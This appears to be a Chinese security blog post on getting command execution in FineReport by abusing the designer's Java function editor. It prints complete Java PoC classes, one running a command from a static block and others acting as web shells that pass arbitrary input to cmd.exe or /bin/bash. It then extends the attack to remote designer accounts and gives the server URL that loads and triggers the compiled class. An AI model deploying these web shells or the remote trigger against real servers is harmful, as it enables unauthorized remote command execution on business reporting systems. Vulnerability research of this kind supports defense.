finereport本地命令执行--扩展

0x01 分析

image-20250105174334354

image-20250105174431832

新版中存在函数管理器,这里可以看见,允许我们自己编写java代码。

com.fr.design.formula.JavaEditorPane

它会调用这个这个进行处理

image-20250105174959838

它会调用这个这个把我们编辑的类写入到当前运行环境的classes下。

com.fr.stable.JavaSourceCode#getPackageNameInText

image-20250105175122182

在编译成class的时候会调用这个类,它会要求我们源码中有package,也就是包名。再就是调用

com.fr.env.operator.CommonOperatorImpl#compile进行编译

image-20250107162224404

image-20250107162301475

本就是通过这个功能我们可以把任意代码编译成class写到当前运行环境的classes目录下。

0x02 复现

准备poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.fr;
import com.fr.script.AbstractFunction;
import com.fr.stable.exception.FormulaException;

import java.io.IOException;
import java.util.Scanner;

public class scriptexp extends AbstractFunction{
static {
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", "calc"} : new String[]{"/bin/bash", "-c", "open -a Calculator"};
try {
Runtime.getRuntime().exec(var12);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public Object run(Object[] args) throws FormulaException {
if (args.length != 1) {
return "please input a command";
}
String command = args[0].toString().trim();
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c",command} : new String[]{"/bin/bash", "-c", command};
try {
String s = new Scanner(Runtime.getRuntime().exec(var12).getInputStream()).useDelimiter("\\A").next();
return s;
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}



package com.fr.function;

import com.fr.script.AbstractFunction;
import com.fr.stable.exception.FormulaException;

import java.io.IOException;
import java.util.Scanner;

public class shell2 extends AbstractFunction{

@Override
public Object run(Object[] args) throws FormulaException {
if (args.length != 1) {
return "please input a command";
}
String command = args[0].toString().trim();
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c",command} : new String[]{"/bin/bash", "-c", command};
try {
String s = new Scanner(Runtime.getRuntime().exec(var12).getInputStream()).useDelimiter("\\A").next();
return s;
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}


image-20250107163145031

填好poc后,点击编译保存,然后完成。

它会在classes下生成。

image-20250107162925591

本地命令执行成功。

0x03 扩展一下

​ 难道只能进行本地命令执行, 这里我通过官网找到https://help.fanruan.com/finereport/doc-view-698.html

image-20250107161304906

也就是可以远程设计,那这利用面就很大了。

也就是我们只要帆软的设计账号,就能对远程服务器发起攻击。

image-20250107163247809

image-20250107163747116

可以看到成功把编译成功时,直接把class也写到了远端的classes目录下。所以这里我们只要在static代码块中写入恶意代码,就能直接造成远程命令执行。

既然我们已经把类写到远程了,下面只要加载进行了。

com.fr.web.controller.common.FileRequestService#getFile

image-20250107164354416

image-20250107164407166

可以它会在在type为class会调⽤class.form,这样就会把这个类加⼊到jvm⾥,造成触发。

/webroot/decision/file?path=com.fr.function.shelll&type=class

image-20250107172048511

com.fr.stable.fun.Service

com.fr.report.fun.FormatActionProvider

com.fr.stable.web.RequestCMDReceiver


finereport本地命令执行--扩展
https://unam4.github.io/2025/12/01/finereport本地命令执行/
作者
unam4
发布于
2025年12月1日
许可协议